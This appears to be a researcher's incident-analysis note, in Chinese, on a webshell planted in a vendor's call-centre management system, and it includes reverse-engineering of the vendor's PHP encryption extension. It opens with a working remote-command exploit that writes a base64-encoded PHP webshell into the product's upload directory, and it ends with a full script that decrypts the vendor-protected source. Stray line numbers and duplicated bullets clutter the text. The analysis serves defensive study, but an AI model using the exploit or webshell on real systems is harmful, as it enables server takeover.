public:: true
背景
- 护网期间话机的供应商昊申,其话务条坐席管理系统被入侵上传了webshell。由于厂商部署的代码是加密的,所以尝试解密代码,分析漏洞原因
- 漏洞exp:

- method=system¶m=[“echo ‘PD9waHAKQGVycm9yX3JlcG9ydGluZygwKTsKc2Vzc2lvbl9zdGFydCgpOwoka2V5PSI5MDBiYzg4NWQ3NTUzMzc1IjsKJF9TRVNTSU9OWydrJ109JGtleTsKJHBvc3Q9ZmlsZV9nZXRfY29udGVudHMoInBocDovL2lucHV0Iik7CmlmKGlzc2V0KCRwb3N0KSkKewoJJGRhdGFzPWV4cGxvZGUoIlxuIiwkcG9zdCk7CgkkY29kZT0kZGF0YXNbMF07CgkkdD0iYmFzZTY0XyIuImRlY29kZSI7CgkkY29kZT0kdCgkY29kZS4iIik7Cglmb3IoJGk9MDskaTxzdHJsZW4oJGNvZGUpOyRpKyspIHsKICAgIAkkY29kZVskaV0gPSAkY29kZVskaV1eJGtleVskaSsxJjE1XTsgCiAgICB9CiAgICAkYXJyPWV4cGxvZGUoJ3wnLCRjb2RlKTsKICAgICRmdW5jPSRhcnJbMF07CiAgICBpZihpc3NldCgkYXJyWzFdKSl7CiAJCSRwPSRhcnJbMV07CgkJY2xhc3MgQ3twdWJsaWMgZnVuY3Rpb24gX19jb25zdHJ1Y3QoJHApIHtldmFsKCRwLiIiKTt9fQoJCUBuZXcgQygkcCk7CiAgICB9Cn0KPz4=’ |base64 -d > /usr/local/atstar/apps/atstar/upload/index.php”]
代码解密
加密代码初步分析
- 加密代码并没有php标签,不是代码层面混淆,猜测是通过php扩展做的加密

- 在/php/lib/php.ini接口,找到一个自定义的扩展so配置.extension=php_voice.so,文件地址:./php/lib/php/extensions/no-debug-non-zts-20131226/php_voice.so
- 加密代码并没有php标签,不是代码层面混淆,猜测是通过php扩展做的加密
php扩展so文件逆向
定位入口函数
- php扩展的入口在get_model函数,会指向一个
zend_module_entry实例的指针地址,在这里是php_voice_module_entry_ptr 
php_voice_module_entry是符合zend_module_entry的经典结构体,对照结构体顺序,在这里初始化的函数init_func是zm_startup_php_vice

- php扩展的入口在get_model函数,会指向一个
zm_startup_php_voice
- 先会调用gl函数获取license授权,授权通过后hook
zend_compile_file,对zend_compile_file函数备份,然后指向自定义的pcompile_file zend_compile_file是 Zend 引擎用于“编译一个文件”的函数指针接口,签名在不同版本略有变化,但本质都是接收 zend_file_handle、编译选项,返回 zend_op_array。
PHP 在执行 include/require、加载入口脚本时,最终会走到这个编译函数,把源码转成 opcode(OPArray)。
因此替换它,可以拦截几乎所有基于文件的代码路径。
- gl验证license伪代码:
__int64 __fastcall gl(char *s2) { __int64 result; // rax int v3; // edx int v4; // edx __int64 v5; // rbp int v6; // edx __int64 v7; // rbp const char *v8; // rax const char *v9; // r13 __int64 v10; // rcx tm *p_tp; // rsi char *v12; // rdi const char *v13; // rax const char *v14; // rax const char *v15; // rax const char *v16; // rax const char *v17; // rax const char *v18; // rax int v19; // edx int v20; // edx char v21[4096]; // [rsp+0h] [rbp-10F8h] BYREF char s1[112]; // [rsp+1000h] [rbp-F8h] BYREF tm tp; // [rsp+1070h] [rbp-88h] BYREF time_t timer; // [rsp+10B0h] [rbp-48h] BYREF __int64 v25; // [rsp+10B8h] [rbp-40h] BYREF __int64 v26; // [rsp+10C0h] [rbp-38h] BYREF __int64 v27; // [rsp+10C8h] [rbp-30h] BYREF init_gpgme(0); if ( (unsigned int)gpgme_new(&v27) ) return 4294967216LL; if ( (unsigned int)gpgme_data_new_from_file(&v26, "/usr/local/atstar/common/etc/license.lic", 1) ) return 4294967215LL; v3 = gpgme_data_new_from_mem(&v25, 0, 0, 0); result = 4294967214LL; if ( !v3 ) { v4 = gpgme_op_verify(v27, v26, 0, v25); result = 4294967213LL; if ( !v4 ) { v5 = *(_QWORD *)gpgme_op_verify_result(v27); if ( !v5 || *(_QWORD *)v5 ) { return 4294967196LL; } else { result = 4294967197LL; if ( !*(_DWORD *)(v5 + 8) ) { v6 = strcmp(*(const char **)(v5 + 16), "D44BC8FD2DDD2314CFB333D0935850165D3D0206"); result = 4294967198LL; if ( !v6 ) { result = 4294967199LL; if ( !*(_WORD *)(v5 + 24) ) { result = 4294967200LL; if ( (*(_BYTE *)(v5 + 56) & 1) == 0 ) { result = 4294967201LL; if ( !*(_DWORD *)(v5 + 60) ) { result = 4294967202LL; if ( !*(_WORD *)(v5 + 64) ) { get_gpgme_data(v25, v21); v7 = iniparser_parser(v21); v8 = (const char *)iniparser_getstring(v7, "license:hostID", ""); strcpy(s2, v8); v9 = (const char *)iniparser_getstring(v7, "license:expire", ""); if ( !strcasecmp(v9, "unlimit") ) { timer = time(0); gmtime_r(&timer, &tp); tp.tm_year += 1000; } else { strptime(v9, "%Y-%m-%d", &tp); } v10 = 14; p_tp = &tp; v12 = s2 + 40; while ( v10 ) { *(_DWORD *)v12 = p_tp->tm_sec; p_tp = (tm *)((char *)p_tp + 4); v12 += 4; --v10; } v13 = (const char *)iniparser_getstring(v7, "license:trunks", "0"); strcpy(s2 + 96, v13); v14 = (const char *)iniparser_getstring(v7, "license:exts", "0"); strcpy(s2 + 146, v14); v15 = (const char *)iniparser_getstring(v7, "license:company", ""); strcpy(s2 + 196, v15); v16 = (const char *)iniparser_getstring(v7, "license:edition", ""); strcpy(s2 + 696, v16); v17 = (const char *)iniparser_getstring(v7, "license:type", "outbound"); strcpy(s2 + 1770, v17); v18 = (const char *)iniparser_getstring(v7, "license:modules", ""); strcpy(s2 + 746, v18); strcat(s2 + 746, ","); (*(void (__fastcall **)(__int64))&iniparser_freedict.st_name)(v7); ghi(s1); v19 = strcmp(s1, s2); result = 2; if ( !v19 ) { timer = time(0); gmtime_r(&timer, &tp); v20 = timecmp(s2 + 40, &tp); result = 3; if ( v20 != -1 ) { gpgme_data_release(v26); gpgme_data_release(v25); gpgme_release(v27); return 0; } } } } } } } } } } } return result; }1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41- pcompile_file代码 关键点在ext_fopen函数中
- ```C
FILE *__fastcall ext_fopen(FILE *stream)
{
unsigned int v1; // eax
int v2; // ebx
unsigned int v3; // r13d
void *v4; // rbp
_BYTE *v5; // rcx
void *v6; // r12
FILE *v7; // rbx
__int64 v9; // [rsp+0h] [rbp-C8h] BYREF
__int64 v10; // [rsp+30h] [rbp-98h]
_DWORD v11[11]; // [rsp+9Ch] [rbp-2Ch] BYREF
v1 = fileno(stream);
((void (__fastcall *)(__int64, _QWORD, __int64 *))&iniparser_freedict.st_size)(1, v1, &v9);
v2 = v10 - 8;
v3 = v10 - 8;
v4 = malloc((int)v10 - 8);
fread(v4, v2, 1u, stream);
fclose(stream);
if ( v2 > 0 )
{
v5 = v4;
do
{
*v5 = ~(*v5 ^ (d[v2 % 16] + p[2 * (v2 % 16)] + 5)); //核心代码逻辑
++v5;
--v2;
}
while ( v2 );
}
v6 = (void *)zdecode((__int64)v4, v3, (__int64)v11); //base64解码
v7 = tmpfile();
fwrite(v6, v11[0], 1u, v7);
free(v4);
free(v6);
rewind(v7);
return v7;
}- 核心逻辑:从文件中读取数据,写入到内存v4中,v5 指向v4内存的开始位置。然后通过while遍历字节,对字符进行解密,算法是:~(*v5 ^ (d[v2 % 16] + p[2 * (v2 % 16)] + 5)),最后进行zip解码
- ~ 取反、^ 异或、d和p两个密钥字典、v2 是数据剩余长度从大到小
- d是:
.data:0000000000207660 ; _WORD d[16] .data:0000000000207660 d dw 2469h, 246Ah, 802Dh, 20A9h, 2FCh, 1B0h, 369h, 1082h .data:0000000000207660 ; DATA XREF: LOAD:00000000000010A0↑o .data:0000000000207660 ; .got:d_ptr↑o .data:0000000000207670 dw 1642h, 9Ah, 29h, 57h, 2Dh, 18h, 501h, 22D2h1
2
3
4
5
6
7
8- P是:
- ```
.data:0000000000207640 ; _BYTE p[32]
.data:0000000000207640 p db 50h, 7, 99h, 26h, 0E1h, 2, 42h, 1, 0CBh, 3, 5Fh, 78h
.data:0000000000207640 ; DATA XREF: LOAD:0000000000000C98↑o
.data:0000000000207640 ; .got:p_ptr↑o
.data:000000000020764C db 6Ah, 26h, 4Ah, 4, 75h, 7, 9Bh, 12h, 48h, 0, 0E3h, 14h
.data:0000000000207658 db 3Ah, 3, 62h, 0, 57h, 3, 4Ah, 0
- 整体步骤:
- key = (d[v2 % 16] + p[2 * (v2 % 16)] + 5)
- *v5 对 key进行异或
- 对第二步的结果进行取反
- 用python表示:
d = ... p = ... n = len(data) out = bytearray(n) for i, b in enumerate(data): idx = (n - i) % 16 key = (D[idx] + P[2 * idx] + 5) & 0xFF # 只保留低 8 位 out[i] = (~(b ^ key)) & 0xFF # 取反后也限制在 8 位 return bytes(out)1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134- ### 优化后的完整解密代码:
- ```python3
#!/usr/bin/env python3
"""
atstar_batch_decode.py
递归(或单文件)解密 / 解压以 b"\tATSTAR\t" 头部加密的 PHP 文件。
用法:
# 解包单个文件
python atstar_batch_decode.py /path/file.php
# 递归解包目录里的所有 .php
python atstar_batch_decode.py /path/to/dir
"""
import argparse
import pathlib
import sys
import zlib
from typing import Iterable
# ------------------------------------------------------------------ #
# 1. 16-byte lookup tables —— 按照实际 .so 中值填写
# ------------------------------------------------------------------ #
p = [
0x50, 0x99, 0xE1, 0x42,
0xCB, 0x5F, 0x6A, 0x4A,
0x75, 0x9B, 0x48, 0xE3,
0x3A, 0x62, 0x57, 0x4A,
]
d = [
0x2469, 0x246A, 0x802D, 0x20A9,
0x02FC, 0x01B0, 0x0369, 0x1082,
0x1642, 0x009A, 0x0029, 0x0057,
0x002D, 0x0018, 0x0501, 0x22D2,
]
MAGIC = b"\tATSTAR\t"
HEADER_LEN = len(MAGIC)
SUFFIX = "_ztodecode.php"
# ------------------------------------------------------------------ #
# 2. 阶段-1 字节还原 —— 保持与 ext_fopen() 逻辑一致
# ------------------------------------------------------------------ #
def stage1_scramble(buf: bytearray) -> None:
"""
顺序遍历 (pos 0 → n-1),下标公式 idx = (n - pos) % 16
完全复刻 C 代码里的计算方式。
"""
n = len(buf)
for pos in range(n):
idx = (n - pos) % 16
key = (p[idx] + (d[idx] & 0xFF) + 5) & 0xFF
buf[pos] = (~(key ^ buf[pos])) & 0xFF
# ------------------------------------------------------------------ #
# 3. 整体解码
# ------------------------------------------------------------------ #
def atstar_decrypt(blob: bytes) -> bytes:
if not blob.startswith(MAGIC):
raise ValueError("Not ATSTAR file")
data = bytearray(blob[HEADER_LEN:])
stage1_scramble(data)
# 先按 zlib 标准头尝试,失败再按 raw-deflate
try:
return zlib.decompress(data)
except zlib.error:
return zlib.decompress(data, -15)
# ------------------------------------------------------------------ #
# 4. 遍历 .php 文件
# ------------------------------------------------------------------ #
def iter_php_files(path: pathlib.Path) -> Iterable[pathlib.Path]:
if path.is_file():
if path.suffix.lower() == ".php":
yield path
else:
yield from (p for p in path.rglob("*.php") if p.is_file())
# ------------------------------------------------------------------ #
# 5. 主流程
# ------------------------------------------------------------------ #
def main() -> None:
parser = argparse.ArgumentParser(
description="Decrypt ATSTAR-encrypted PHP files (single file or directory)."
)
parser.add_argument("target", type=pathlib.Path, help="文件或目录")
args = parser.parse_args()
target: pathlib.Path = args.target.resolve()
if not target.exists():
sys.exit("❌ 指定路径不存在")
total = success = skipped = failed = 0
for php in iter_php_files(target):
total += 1
try:
blob = php.read_bytes()
if not blob.startswith(MAGIC):
skipped += 1
continue
plain = atstar_decrypt(blob)
out_path = php.with_name(php.stem + SUFFIX)
out_path.write_bytes(plain)
success += 1
rel = php.relative_to(target) if target.is_dir() else php.name
print(f"✔ 解包完成 {rel} → {out_path.name}")
except Exception as exc:
failed += 1
print(f"⚠ 失败 {php}: {exc}")
# 统计
print("\n=== 统计 ===")
print(f"总文件数: {total}")
print(f"已解包 : {success}")
print(f"跳过 : {skipped}(非 ATSTAR)")
print(f"失败 : {failed}")
if __name__ == "__main__":
main()
- 先会调用gl函数获取license授权,授权通过后hook
